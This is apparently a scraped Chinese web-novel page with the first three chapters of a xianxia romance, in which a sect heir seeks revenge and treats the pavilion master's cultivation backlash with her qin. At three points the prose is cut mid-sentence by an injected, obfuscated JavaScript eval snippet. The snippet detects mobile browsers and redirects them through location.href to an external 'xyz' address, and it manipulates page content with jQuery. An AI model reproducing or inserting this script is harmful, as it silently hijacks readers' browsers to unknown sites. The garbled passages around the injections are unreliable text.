《疯批阁主爱上之后竟成了粘人怪》 1. 钓月出渊 三更时分,伊羽居檐角的红灯在夜风中轻晃,在青石地板上投射下斑驳的光影。 一身着绣金松蓝袍、折扇掩面的男子优雅的跨过门槛,一双风眼扫视大厅,只见席间宾客大多醉眼迷蒙,沉浸在幽冷琴音中,还有几个满面痴恋,正直勾勾的盯着厅堂中央纱帘后的那道倩影,目光之热切恨不得将纱帘烧出个洞。 他等了片刻,也没等来往日对他热情相迎的红芍,手中折扇“唰”的合拢,不满的寻了处靠窗的空位坐了下来。 这不久前,楼中来了位琴女,弹得一手好曲,据说是个身姿曼妙,容貌倾城的美人,可惜是个清倌儿,直言只愿与有缘人春宵一度。 可到底怎样才算有缘人,这美人儿只留下一句‘任凭本心’,其他的再未多言。一时间竟勾的满城达官显贵竞相前来,不惜豪掷千金,就盼着靠银钱砸出几分佳人口中所谓的‘缘分’,一睹佳人芳容,他也不例外。 可两盏茶下肚,他却有些懊恼。这千两黄金出手,且不说能否成为佳人口中所谓的‘有缘人’,眼下看来,怕是连其样貌都未必窥得一面,便只能巴巴的隔着帘子张望。若当真是个美人,别说千两,便是万两他也送得,可这人日日轻纱遮掩,哪知是真是假。 终于,又一记泛音响起时,他忍无可忍,一掌拍在桌子上。 “铮铮弹得什么鬼调子!金姨,叫那弹琴的滚出来倒酒!” 老鸨被这突如其来的动静吓了一跳,扭着水桶腰慌忙上前,赔笑道:“哎呦我的裴二爷,洛姑娘是清倌人,不陪客的……。” “清个屁!”裴二爷一脚踹翻矮凳,粗着嗓门嚷道:“要么叫那弹琴的出来陪酒,要么把老子的银子吐出来!” …… 二楼雅间内,一只指节修长的手突然捏紧了酒盏。陆景桓眉间轻拢,透出几分不耐。楼下刺耳的吵闹混着琴音,让他好不容易平息的灼痛复又涌了上来。 他重重吁了口气,指骨抵住太阳穴,抬手时衣袖滑落,可见腕上纵横交错着许多细小的伤痕,如同被极细的针尖从内挑出,伤口细而密,若再细看,可以看见那伤痕遍布的皮肤下似有什么在其中游动,时隐时现,看不真切。 在一旁伺候的莹儿听见这声沉重的叹息,长睫轻轻颤了颤,又过了半息才敢抬起那双如水的杏眸看向眼前之人。 他身着一袭流锦黑色长袍,一头漆黑亮泽的长发被玉冠高高束起,散落在肩头。袖口处以金线勾勒出一朵盛开的莲花,花瓣微微蜷曲,花蕊脉络分明,栩栩如生,衬的这身本该单调肃穆的装扮透着说不出来的高雅矜贵。 他的面容被垂下的发丝遮了大半。可想起他今晚初入楼中时的模样,莹儿还是不自觉的红了脸。他生的极俊,五官完美的无可挑剔,鼻梁高挺,红唇润泽,尤其是那双含情勾人的桃花眼,如一汪春水,又软又润,比楼中女子还具风韵。 就在她想入非非时,突然听他问道:“弹琴的是谁?” 莹儿闻言一愣,下意识咬了咬唇,心底漫上几分不自在。这一个时辰她侍候在侧,他连个眼神都不曾施舍给她,她还当是他眼界高,不屑于秦楼中的莺莺燕燕。可此刻,他却问起一个素未谋面的琴女...... 她失落的垂下眼,声音带了几分连自己都没察觉到的委屈:“回公子,是三个月前来的洛姑娘.......” 陆景桓闻言缓缓睁开双眸,侧首看向一楼大厅,他的目光掠过仍旧不依不饶的裴二爷,直直望向纱帘后那道朦胧的身影,眼中多了几分探究和好奇。 寻常人可能听不出她琴音中暗藏的玄机,可他听的分明,她的曲调中掺了一缕精纯的治愈灵力。康健之人,只觉通体舒泰,像浸在暖泉里轻飘飘的,恍惚要踩着云气飞升;若逢伤痛之人,那灵力便如细针渗肤,悄无声息的舔舐痛处,叫苦楚在不知不觉褪了去。 这灵力藏的极巧,若非精通音律且修为高深者绝无察觉的可能,可令他想不通的是,有这等本事之人何至于屈居于此?除非...... 他微微一笑,霍然起身,还不待莹儿弄清他的意图,矫捷身形已掠过朱栏,足尖轻点,像踩着看不见的浮萍,眨眼间已稳稳落于纱帘前。 满座喧声如沸水般炸开。 老鸨也顾不上和裴二爷争辩,急忙上前阻拦:“公子,洛姑娘真的不见客——” 话音未落,一枚尾端坠着红络的暗器“唰”的从她耳畔擦过,凌厉风声未止,就见一缕断发飘然旋落,金姨双腿一软,瘫坐在了地上。满堂喧嚣也戛然而止,唯余琴弦震颤的尾音在死寂中回荡。 “啊——!” 不知是谁的尖叫率先打破了沉寂的空气,本还愣着发懵的人们瞬间回过神来。推搡、碰撞、桌椅倒地的哐当声混在一起,刚才还挤得水泄不通的屋子,眨眼就空了大半。 纱帘后,洛熙定定的看着那道朦胧身影一步步走近,心脏如同被一只巨手猛地攥紧又松开,砰砰直跳,每一次跃动都如喷泉般涌起细微的不安。 “姑娘刚才的曲调,”帘外传来清润的男声,“似乎少弹了三个变徵之音。” 洛熙深吸了一口气,嘴角上扬,挂上了自己最擅长的虚伪客套的假笑,随后纤指一勾,隔在二人之间的轻纱无风自动,向两边分开。 随着纱帘缓慢打开,那张模糊的面容也逐渐清晰起来。面前之人风神俊朗,气质高贵,一双黑白分明的眸子盈着润泽的水光,俨然是双乖巧勾人的小狗眼,却看的洛熙一股无名怒火。 若是三年前琴宗灭门那晚他没有趁火打劫挖走琴宗密卷,此刻他这么看着她她兴许还会有所动容,可他坏事做尽,行事作风简直与悍匪无异,偏偏生得一双纯善温良的眼,真是气的她恨不得生挖了这双眼才能稍解心头之恨。 但转念一想,自己苦心筹谋许久,可不是为了他这双眼,故此很快就平复了心绪。 她故作娇羞,指尖托着玉瓷酒盏向前递去:“公子当真好耳力,便是连这曲调的细末幽微,竟也被您听得分明,能这般懂奴家曲中滋味的,不是知音又是什么呢?” “世人都道知音难觅,不想奴家此生有幸在此得遇,若公子不嫌弃奴家身份卑微,可否赏脸与熙儿共饮一杯?” 陆景桓目不转睛的盯着洛熙,眸中带着看透一切的讥诮,却还是伸手接过酒杯。 “姑娘视在下为知音,实乃在下之幸,姑娘所敬,怎会推拒。”说着,仰首将杯中酒一饮而尽。 洛熙见他喉结滚动将酒液咽下,眼底闪过一丝狡黠。这毒虽不致死,但让这魔头满脸长满红疹还是绰绰有余的。她心里揣满了得逞的快意,可面上仍维持着清倌人该有的疏离浅笑:“公子好气魄。” 陆景桓却好似没有察觉到她眼中情绪,只是笑着将空了的酒盏放置在案几上:“不过话说回来,论琴,有姑娘这般造诣的,这世上怕也找不出几个,不知姑娘师承何处?” 洛熙一边将空杯斟满,一边答道:“不过是不入流的乡野小派,说出来恐污了公子尊耳。” 陆景桓了悟的点了点头,眸中带着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046910|178981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浅淡的笑,语气意味深长:“姑娘琴音绝妙,不知可听闻过琴宗?” 洛熙眉宇拢上郁色,故作惋惜道:“琴宗乃六大仙门之首,江湖上谁人不知,只是可惜三年前被一场大火烧尽了。” 陆景桓似笑非笑,“那么姑娘认为琴宗之人,身份可尊贵?” 洛熙斩钉截铁:“自然。” 陆景桓饶有兴趣的看着洛熙一本正经的样子,兀自笑了笑,倾身拿起桌上盛满酒的酒杯时,指腹有意无意的蹭过洛熙的手背,带着槐香的吐息喷在她耳垂,激起一阵战栗。他的声音压的极低,在她耳边温柔轻语:“那姑娘怎的还说自己身份卑微呢?” 洛熙猛地抬头,诧异道:“公子此言差矣,我一介流落秦楼的琴女,怎可与之相提并论?” 陆景桓看着洛熙精湛的表演,也不急于拆穿,只是自顾自的说道:“那场大火实属可惜,不过那晚我恰好路过,在那废墟中捡到了一些好东西……。” 洛熙笑容凝固在脸上,看向他的眼神带了几分怨毒:“公子说笑了,废墟里能有什么好东西?” 陆景桓轻笑,“确实算不得什么好东西,可姑娘,不也正是为此而来?” 洛熙仍旧是那副云淡风轻的模样,甚至连嘴角的弧度都未变:“公子这是何意?” 陆景桓见洛熙还不承认,一把握住她的手腕,眼神意有所指的锁定她的银镯,“姑娘若当真问心无愧,可敢打开这铃舌,看看内里刻的是不是琴宗徵纹?” 洛熙抽出手腕,方才的温顺姿态一扫而空,“公子既然将话说到了这份上,那我也没有隐瞒的必要了。” 她冷嗤一声,奚落的话正要说出口,那段最不堪沉重的回忆突然翻涌上来。 冲天的火光、蜿蜒流淌的鲜红、刺耳的尖叫、还有......房梁坍塌的巨响。恍惚间,她又看到了师父将她推进山洞时袖口飞扬的红梅,那声音仿佛从很远的地方传来:“音儿……密卷……绝不可落入他人之手!” 她的脸色一瞬变得煞白,呼吸也急促起来。这段痛苦的回忆如毒蛇一般,会在任何不确定的时刻暴起,亮出一口尖利的獠牙,缓慢的刺入肌肤并将毒液注射其中,不消片刻就击溃她的所有理智,就如此刻。不行......她拼命控制住狂跳不止的心脏,不能在这人面前露出破绽。 “洛姑娘,你这是......怎么了?”那人的声音响起,带着满满的恶趣味和戏谑。 “我.....”她刚想开口,却从喉间溢出一声呜咽,不是疼,是无法自已的心慌,是太阳穴突突跳动的轰鸣,是全身血液倒灌进颅腔的濒死感。 她感到有一双手稳住自己摇摇欲坠的身体,飘渺空灵的声音仿佛从很远的地方传来:“姑娘这般琴艺,留在秦楼可惜了,不如,来暗夜阁吧。” 洛熙紧咬牙关,仍想为自己多挣几分筹码:“凭什么?” “就凭……你想要的,我都能给。”他的声音温柔缱绻,带着蛊惑人心的魔力,引得洛熙下意识想点头。 夺回密卷本就是她的目的,陆景桓既然猜到了她的身份,必然清楚她想要的是什么。他既然肯这样承诺,那么拿回密卷想必也不是难事。 只是令她没想到的是,自己会在此时突发魇症,更没想到陆景桓竟想将自己带回暗夜阁。虽然外界传闻此人阴晴不定,残忍暴戾,可他对自己琴音的执着就是她最好的筹码。 这意外转折也不算坏,省去了东躲西藏的日子,还能光明正大的留在仇敌身边,何乐而不为? 2. 以身寄局 “好啊......” 看着洛熙这副半死不活却仍逞强应答的样子,他满意的勾了勾嘴角,双指掐诀,一团耀眼的金光自指尖绽开,光芒逐渐扩大,将二人的身影吞没其中。当刺目的金光消散时,二人已从伊羽局瞬移到了暗夜阁前一片幽深诡异的密林。 洛熙仍靠在陆景桓身上,光洁的额头布满细小的汗珠,陆景桓垂首看着瘫软在怀里的人,目光倨傲,没有半点伸手相扶的意思。 洛熙揉了揉胀痛的头,毫不客气的推开了他,这人真是可恶至极,明明看出她精神不济,却连张传送符都舍不得用,偏偏要掐那最耗人精力的瞬移诀。 陆景桓黑着脸盯着被推开的地方,袖口莲纹随着他拍平衣袍褶皱的动作盈起波光,“不识好歹。” 洛熙懒的理他,目光径自穿过眼前的密林看向隐藏在密林后那道高耸的黑色围墙。 借着月光,她隐约可以看见高墙上镌刻的蓝色符文,在暗夜中闪着幽光。怪不得那四大仙门对暗夜阁忌惮不已却任由它在江湖上兴风作浪,合着是连人家家门都攻不进来。 这符文看着眼熟,一时半会却想不起来,为了看的更清楚,她不自觉地向前迈了几步,刚有了些头绪,就被身后那道带着讥讽的话语打断了: “洛姑娘在伊羽居布局三月,连暗夜阁几处暗桩都摸清了,现在倒对我的住处感兴趣了?” 谁对你这暗黑恐怖的住处感兴趣。 洛熙此时的精力已经恢复了大半,拉着极长的尾调阴阳道:“陆阁主真是多虑了,你这住处阴气森森的,便是连索命的无常见了怕是都要绕道而行,我不过是好奇,什么样的主人会养出那般凶残暴戾的红丝缠。” 红丝缠,一个令江湖闻风丧胆的名字。 据说五年前,青城派灭门当晚,人们只看见漫天红丝如蛛网般张开,将偌大的青城门派笼罩其中。待红丝散去,整个仙门无一生还,只余一地枯骨,就连刀锋都被蚀出蜂窝般的孔洞。 这功法又强又邪,至今也无人知晓到底为何物。 就连当时最见多识广的唐长老,在看过受害者尸身后,也只是颤抖着重复:“非金非铁,似丝非丝……” 也是自那之后,陆景桓和暗夜阁之名彻底响彻整个江湖。 可这般霸道的功法,往往都伴随着沉重的代价,他也不例外。这三年她在灭门线索的调查上进展寥寥,唯一的收获,就是摸清了他那邪功背后藏着的、足以摧垮一切的反噬。 而她之所以能引他入局,恰恰是攥住了他的命门——琴宗独步天下的治愈术。她作为琴宗少宗主,更是掌握了常人无法企及的琴疗术法,他对琴宗琴音的执着近乎疯狂,只因那是唯一能压制他反噬的解药。 正怔忡间,眼前的围墙毫无征兆地裂开一道缝隙,那缝隙缓慢扩大,不多时竟赫然撑出一道幽暗的拱门。 拱门深处率先走出一名黑衣侍卫,他身形如松,单膝点地,对着身后的陆景桓恭敬行礼:“阁主。” 陆景桓从她身侧走过,漫不经心的摆了摆手:“凤临,收拾收拾流霞苑。从今日起,洛姑娘便是暗夜阁的贵客。” “是。”凤临一边走一边回头打量着洛熙,狐疑中还带着些许痛心疾首,末了还夸张的锤了锤胸口。 洛熙:“......?”好像嗅到了什么不寻常的味道。 “洛姑娘,愣着做什么?不如先到我住处谈谈。”陆景桓站在门前看着她,难得的显出几分正经。 听雪轩内,沉香袅袅。 “你想要的,是琴宗密卷。”他开门见山。 洛熙故作镇定的点了点头,明知故问:“陆阁主果然坦率,只是不知阁主,想要我用什么来换呢?” 陆景桓悠悠抬起那双幽深的眸子:“解我反噬。” 室内一时寂静,唯有更漏滴答。 洛熙垂首思忖着,却越想越窝火,密卷本就是琴宗之物,凭什么还要她消耗灵力解他反噬,更何况,这人心思深沉如渊,万一她刚解了他那邪功反噬,他转头就恩将仇报,杀了她夺回密卷,岂不是赔了夫人又折兵。 “我只能压制,不能解。”她冷冷答道。 陆景桓嗤笑一声:“是当真不能,还是想借此控制我?” 洛熙对上他审视的目光:“我若说是,难道陆阁主敢杀了我吗?” 话音未落,一只冰冷的手已扼住她纤细的脖颈。陆景桓拇指按动她跳动的脉搏,力道不轻不重仿佛在把玩一件瓷器。 “威胁我的人,白骨都堆了三尺高了。洛清音,你胆子不小。” 洛清音......?那是她的本名,自琴宗灭门后,她就再未用过,他怎么会知道? 洛熙感到颈间力道逐渐收紧,她袖口一动,琴弦无声缠上陆景桓手腕。 “那陆阁主不妨试试,是你的手快,还是我的琴弦快。”她因缺氧而不成调的嗓音带着挑衅。 烛火不安的跳动着,将两人的影子撕扯在斑驳的墙上。两道黑影彼此交缠,却又泾渭分明,谁都不肯退让半步。 琴弦已经深深嵌入陆景桓的腕骨,殷红的血珠顺着弦丝滴落,在木案书桌上绽开数朵红梅,他却连眉头都未皱一下,反而收紧了五指。 洛熙眼前已漫起黑雾,耳畔嗡嗡作响,却仍仰头瞪着他。缺氧的视线里,她看到他狠厉目光下的犹豫——能叫出洛清音三个字,就绝不会让她死在这。 她非但没怕,反而往他掌心顶了顶下巴,仿佛在说‘有本事你就掐死我’。 陆景桓指腹下的脉搏跳的极快,却稳得不露丝毫怯意。她见过太多人在濒死时放弃尊严求饶的模样,可那倔强神色却在她脸上丝毫未动,连睫毛都不曾颤动一下。 他忽然想起多年前的自己,被青城派围剿时,也是这般咬着血沫冷笑:“要杀便杀,废什么话?” 指间力道不自觉松了几分,片刻后,他还是甩开了她。 洛熙捂着脖颈狂咳不止,全身止不住的发抖,虽形容狼狈心底却冷静非常,她赌对了。 她之所以出言挑衅这么一个阴晴不定的魔头,正是想试探一番他的底线,如此看来,他非但不敢杀她,日后还不得不护着她。 可他未免下手也太狠了些,她咳的泪水糊了满脸,头重的抬不起来,喉咙更像吞下了火烧的刀片一样刺痛。此仇不报非君子! 陆景桓,你且等着! “传闻中叱咤风云的陆阁主,竟然还欺负我这样一个弱女子,说出去,就不怕江湖人笑掉大牙?”她的咳终于止住了,忍不住讥讽。 陆景桓方才一直淡漠的看着她一幅要将肺咳出来的样子,现下听她这样说,仿佛听到了什么天大的笑话,他将淌血的手往前一递,语气幽幽:“弱女子?” 他的手腕狰狞可怕,翻卷的皮肉下隐约可见白骨,鲜血如柱,顺着小臂流入袖中。洛熙瞧着,不禁兴灾乐祸起来,看来他也没讨到什么便宜。 她的目光缓慢移到他的脸上,想看看他的表情,却发现这人连眉头都没皱一下,而且......伊羽居那杯酒的药效怎么还未发作? “陆阁主,你这叫自、讨、苦、吃。”她一字一顿,脸上还挂着未来得及收回的得意。 陆景桓看着她,心底升起了几分兴味,便是给他带来这点小伤,也值得她如此得意? 她还真是容易满足。 他极快的敛了神色,屈指轻叩案几三下,随着他的动作,书架前的一块石板滑开,一位带着青铜面具的暗卫捧着一方玉匣缓缓升起。 暗卫跪在陆景桓身前,将玉匣高举过头顶,毕恭毕敬的等待他拿取。 陆景桓漫不经心的掀开盖子,从中取出三页薄如蝉翼的玉简,沉声道:“密卷前三页。” 洛熙一瞬瞪大了双眼,连呼吸都忘了,没想到他就这么轻易的拿出来了? 她定定的看着玉简上流动的金色文字,胸腔内那颗沉寂已久的心脏,此刻正剧烈震颤。那些字迹如游鱼般在玉片上浮动,正是琴宗的“鸣玉秘术”,她曾在藏书阁的古籍里见过只言片语的记载,如今竟真真切切摆在眼前。 她伸出手,就在即将触碰到玉简时,却被他扬手举到了身后。 “反噬,既然你解不了,那就在我每次发作时为我压制。至于密卷......”他摩挲着玉简,沉声道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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三天后,禁言咒失效时,洛熙的双膝已在山岩上磨的见骨。 她跌跌撞撞跑回琴宗,却见昔日温馨的宗门此刻已化作一地断壁残桓。那棵她曾醉酒时攀上枝头的灵果树已倒在一片废墟中,粗壮的树干都被烧成了焦炭。 藏书阁的灰烬深及脚踝,师父说藏着密卷的地方,已经被挖空。 她泄了力的跪倒在焦土上,掌心死死握着一块平安锁。鎏金的“长乐”二字已经扭曲变形,锁链断口刺进皮肉,鲜血顺着指缝流出。 “这是阿娘给我们音儿的祝福,音儿带着这份祝福定会一生顺遂。” 娘亲系锁时指尖的温度似乎还在颈间,可眼下却成了废墟里的一捧焦土。 她那双原本清澈湛蓝的眼布满了血丝,却仍不断的流出大滴大滴的泪水,那些带着点浅红的液体砸在焦红的横梁上,被高温瞬间蒸发。 本还烈阳当空的晴日转瞬黑云笼罩,一道惨白的闪电劈开天际,暴雨像天河决堤般倾倒下来。 她十指抠进焦土,胡乱的扒着一地灰烬,也不顾焦红的木炭灼伤她的手心,不知过了多久,那双细嫩白皙的手已嵌满碎瓷与木刺,隐现白骨,却连一片衣角都没寻见。 “爹,娘,师父。音儿一定查明真相,替你们报仇!”她的哭喊混入滚滚雷声,老天仿佛都为她的遭遇嘶吼悲鸣。 后来她在酒肆听过无数传言: “暗夜阁那晚趁火打劫……” “陆景桓亲自带队,抢了琴宗至宝……” “虽不知灭门之人,但是这陆景桓真是捡了个大便宜,据说那至宝可以起死回生……” “咔哒。” 玉匣突然合拢,将洛熙的思绪拉回现实。 窗外更漏显示已近卯时,她惊觉自己已经泪流满面。 她粗暴的擦干泪水,划破手腕,鲜血在玉简上蜿蜒成线,金色符文如退潮般消散,取而代之的是一行行暗红字迹。那是用琴宗嫡系血脉书写,唯有她才能解开的秘文。 3. 第一次反噬发作 “洛姑娘,阁主请您过去用早膳。” 青萝的声音从门外传来,打破满室寂静。洛熙这才发现,自己竟攥着玉简在窗前站到了天亮。晨光透过窗格,在她脚边投下细碎的光斑。 洛熙为玉简注入一缕灵力,暗红密文缓缓消散。 “知道了。” 听雪轩外,两名侍卫见她走近,立刻躬身行礼。洛熙脚步微顿,这种待遇在琴宗灭门后再未有过。看来整个暗夜阁都知道了她“贵客”的身份。 “洛姑娘昨晚休息的可好?”陆景桓的声音从轩内传来,语调慵懒,仿佛昨晚那场生死对峙从未发生。 洛熙踏入内室,见他正端坐案前,修长的手指执着一柄白瓷勺,有一下没一下的拨弄着粥面。腕间的伤触目惊心,并未包扎,随着他搅粥的动作若隐若现。 一旁侍立的青萝不经意的扫过二人,将洛熙颈间红痕和陆景桓腕上深可见骨的伤口尽收眼底。 她目光倏的收回,面上波澜不惊,心里却掀起了惊涛骇浪,脑中不自觉虚构出二人昨晚的情景。 瞧这情形,阁主是想亲手掐死洛姑娘,然而洛姑娘并非善茬,情急之下险些将阁主的手斩下来。两人该是斗得旗鼓相当,于是双双罢手。 应该是这样吧,她摇了摇头,一脸的悚然,不敢想不敢想。 “托陆阁主的福,一夜安眠。”她在他对面坐下,自然的拾起汤碗。 “撒谎。”陆景桓放下汤勺,目光如鹰隼般精准地捕捉到她眼下淡淡的青影,“你一夜未眠,反复看了密卷二十七次。” 洛熙恍若未闻,淡定的咽下一口白粥才抬眼看他:“陆阁主,早知道你不是光明磊落的君子,没想到还有窥伺他人的癖好?” 陆景桓一怔,显然没想到她会是这副反应,旋即玩味一笑:“放心,我对姑娘更衣就寝没兴趣。只是流霞苑的机关会记录所有灵力波动。” 他停顿片刻,意有所指的补充:“我很好奇,密卷中藏了什么秘密,每看一次都要动用一次灵力。” “陆阁主若真好奇,不如将密卷全册借我一观?” 说这话时,她故意将“借”字咬的极重,清冷的眼眸望向他,似乎真带了些期冀和热切。 陆景桓的眼对上她的,淡然的移开了目光,将手中粥勺放入碗中,发出一声瓷器碰撞的轻响:“等洛姑娘什么时候解了我的反噬,再谈不迟。” 似乎是没有在洛熙这里得到想要的答案,他起身离席,临了只丢下一句:“洛姑娘慢用。” 洛熙若无其事夹了一筷咸菜放入勺中,直将一勺粥放入口中才发现,堂堂暗夜阁阁主的早膳,竟然如此寒酸,只有清粥咸菜,若不是与他同食,她甚至要怀疑是不是他故意苛待她,她不禁转头望向那道身影。 日照当空,他墨色的长发被风撩起,发梢如鸦羽掠过腰间悬着的红玉令牌,透出几分凌厉的肃杀之气。 青萝见陆景桓走远,向前一步,立于洛熙面前:“姑娘,阁主吩咐,您若有任需要,尽管示下。” 洛熙思量片刻,还是没忍住,指着一桌寒酸的吃食问道:“你们阁中,每天早晨都吃这些?” 青萝也没想到她竟然会问这个,笑了笑,“回姑娘,并非如此,只是阁主晨起偏爱些清淡的饮食,膳房的早膳种类还是很繁多的,姑娘喜食什么,可以告知属下。” 洛熙如释重负的吁了口气,重新挂上伪善的笑:“膳食倒是无碍,只是初来贵地,行囊未及整理,还要劳烦青萝姑娘。为我置办几身素色衣裙,简单些就好,不必太过繁复。” “属下这就去办。”她退后三步,适才转身离去。 看着青萝离去的背影,洛熙若有所思。 用完早膳,擦了嘴,洛熙便踏出了听雪轩,可刚走出两步,就听身后传来一声急切的轻唤:“洛姑娘!” 洛熙脚步一顿,疑惑回首,只见门口一身着黑色劲装的侍卫正局促的望着她,他还是一幅少年模样,眉目清朗,一双眼眸澄如秋水,与她目光相接的刹那迅速别过了脸,连带着手中剑穗都晃得凌乱。 洛熙安静的等待着他的下文。 “我……”少年耳根涨的通红,半晌才挤出蚊蝇般的声音。 “姑娘的样貌,像极了我早逝的……阿姐。” 他终于鼓起勇气看向她,湿漉漉的眸子闪着希冀的光:“我能,偶尔去流霞苑寻您说说话么?” 洛熙站在原地,有了片刻失神,这句带着深深眷恋和缱绻的阿姐又勾起了她的回忆,她本也是有一个妹妹的...... “洛姑娘......?” 那小心翼翼带着试探的声音将她的思绪拉回了现实,她看向面前少年,点了点头,头也不回的走向刘霞苑。 流霞苑内,她弯腰轻抚过琴案上泛着莹莹蓝光的琴弦,忽然有些怅然。 “凶器吗......”她喃喃自语,密卷记载的内容又浮现在她脑海中。 那三页密卷并非是密卷初页,更像是从中随意抽取的三页,内容并不完整,但却清晰的向她传递了一个信息,她的本命灵琴——千昼,竟是毁天灭地的凶器! 记忆中师父传授千昼之音的场景犹在眼前,那双布满老茧的手覆在她的手背上,带着她拨动琴弦。 “音儿,千昼是天地间最温柔的馈赠,她的音律能抚平世间一切伤痛。” 她还记得第一次弹奏千昼时,冬日枯败的海棠仅一夜间便重绽芳华。 这样温暖的琴音,会是……毁天灭地的凶器吗? 况且,若诚如密卷所言,为何不将它封印,而是将它作为琴宗少主的本命灵琴代代相传,实在想不通。 她轻轻拨动琴弦,琴弦在她指下发出细微的震颤,如同在回应她的触碰。那荧蓝的光芒依旧温暖如初,却让她感到一阵迷茫。 “师父,是您在瞒我,还是密卷记载有虚。” * 暗夜阁的夜比洛熙想象中更死寂。 流霞苑内,琴音清越,如流水般柔和的曲调在空荡的室内回荡。自那日早膳后,陆景桓已经三日未曾露面。这倒给了她足够的时间研究密卷上的内容,可惜关键信息始终残缺。 这三日她排查了房间所有可能想到的地方,却始终未能找到陆景桓口中那检测灵力的机关所在,索性将此事暂且搁置了。 窗外突然传来一阵急促的脚步声,夹杂着金属碰撞的脆响。洛熙贴近窗缝,看见几名侍卫神色慌张的跑向西南方向,正是听雪轩的方位。 “快!阁主又发作了!” “这次比上月提前了……” “快去请柳长老!” 红丝缠反噬提前发作?她心念一动,这样一来,岂不是可以提前看到密卷内容了? 她迅速抱起千昼琴,刚推开门,两把闪着寒光的剑刃便交叉挡在了她面前:“特殊时期,姑娘不得离开流霞苑。”侍卫的声音冰冷,带着公事公办的古板。 “你们阁主此刻正需要我,若耽误了治疗,你们担待得起?”洛熙冷声质问。 侍卫对视一眼,似乎有些拿不定主意,就在这个犹豫的间隙,她已闪身而出。 听雪轩已聚集了十余人。洛熙刚到门外,就听见一声压抑的闷哼从屋内传来,又被生生截断。 “让我进去。”她抱紧千昼琴,声音不大却掷地有声。 一位白发老者转身:“洛姑娘?阁主有令,反噬期间任何人不得……” 房内突然传来器物碎裂的巨响,接着是重物倒地的沉闷声响。洛熙不再多言,径直冲向房门。 侍卫见状面面相觑,无一人上前阻拦,毕竟陆景桓特意吩咐了她的贵客身份,她既然如此肆无忌惮,想来是阁主默许的。 推开房门的刹那浓重的血腥味扑面而来。 室内一片狼藉,陶器碎片零零散散摔了满地,书桌上的宣纸也像雪花一样凌乱的铺在地上,令人无处落脚。 陆景桓坐在地上,半倚床沿,一手搭在床上,湿乱的碎发粘在颈侧,汗水顺着下额滴落在锁骨上,灵巧的滑入领口深处。 他的身体微微颤抖,搭在床上的手紧握成拳,似乎隐忍着巨大的痛楚。 听到声响,他艰难的抬起头:“是你……”他眼底猩红一片,像一头失了理智却极力压制的困兽,声音低沉嘶哑,“过来。” 最后两个字几乎是咬着牙挤出来的,带着不容抗拒的命令。 洛熙没应,跨过一地狼藉,走到他身前居高临下的看着他,随后慢悠悠抚上琴弦,指尖轻轻一拨。 “铮!” 一个极其刺耳的音调炸开,陆景桓额角青筋猛的一跳,心脏狠狠揪了一下,体内啃噬的剧痛成倍翻涌上来,眼前一黑,痛的差点晕死过去。 “洛、清、音!”他恨不得碾碎她的名字,却并未发出任何声响。 “哎呀,手滑。”她面不改色,指尖又故意在弦上刮出一道堪比指甲刮琉璃的噪音。 让你喜欢掐人,让你挖琴宗密卷,让你那副高高在上的姿态…… 陆景桓的头如同被巨斧凿下,明明头盖骨已经劈了稀碎,可偏偏他还活着,生生承受着这生不如死的痛楚。 他突然用尽全力抓住她的脚踝。 洛熙止了动作,蹲下身俯视着他:“陆阁主?” 等了半天,才听到他好容易拼凑出一句完整的话:“滚出去.. ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16046912|178981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ....” 洛熙好笑的看着他:“不是你方才命令我过来的吗?” 陆景桓说不出话,只死死攥着她那纤细的脚腕。 洛熙倒抽了一口凉气,伸手去掰他的手:“陆景桓,求人要有求人的态度,是谁教你掐着人的脚不放的。” 陆景桓盯着她,因疼痛而有些扭曲的笑容里,竟透出几分癫狂的艳丽:“求?” 洛熙放弃了扣他手这个有些扭曲的动作,戏谑道:“比如,说个‘请’字?” 他手上力度又加重了几分:“请、你、快、点。” 她凑到他面前,戏弄他的乐趣油然攀上心头,连脚也不顾了:“快点什么?” 陆景桓看着眼前骤然放大的一张脸,切齿道:“压反噬。” “行吧。”她身子撤后,食指一勾,琴音忽起,却不是《止水》的调子,而是一首极其轻快的民间小调——《喜鹊闹春》。 陆景桓:“……?” “换、曲、子。” “急什么?”洛熙指尖不停,琴音越发活泼,甚至还即兴加了一段花指:“这曲子多好,提神醒脑,活血化瘀,正好治治我们陆阁主一言不合就掐人的毛病。” “你信不信,我现在就将密卷一把火烧了。”他声音孱弱不堪,手上力道却只增不减。 “好好好,换换换。”她见好就收,指尖一转,终于奏响《止水》。 《止水》的调子倾泻而出,音波如涟漪在室内扩散。 “弹快点。”他语气恶劣,掌心滚烫。 琴音陡然转急。 她不得不向前倾身,衣摆覆上他屈起的膝盖。这个距离太近了,近到能闻到他身上混合着血腥味的槐花香,近到他能清楚的看到她蝴蝶般颤动的长睫。 柔和的音律似水一般,一丝一缕渗如肌肤,化开了他血肉里肆虐的剧痛,最后一个泛音收束时,陆景桓一瞬卸了力道,额头重重抵在她膝头。 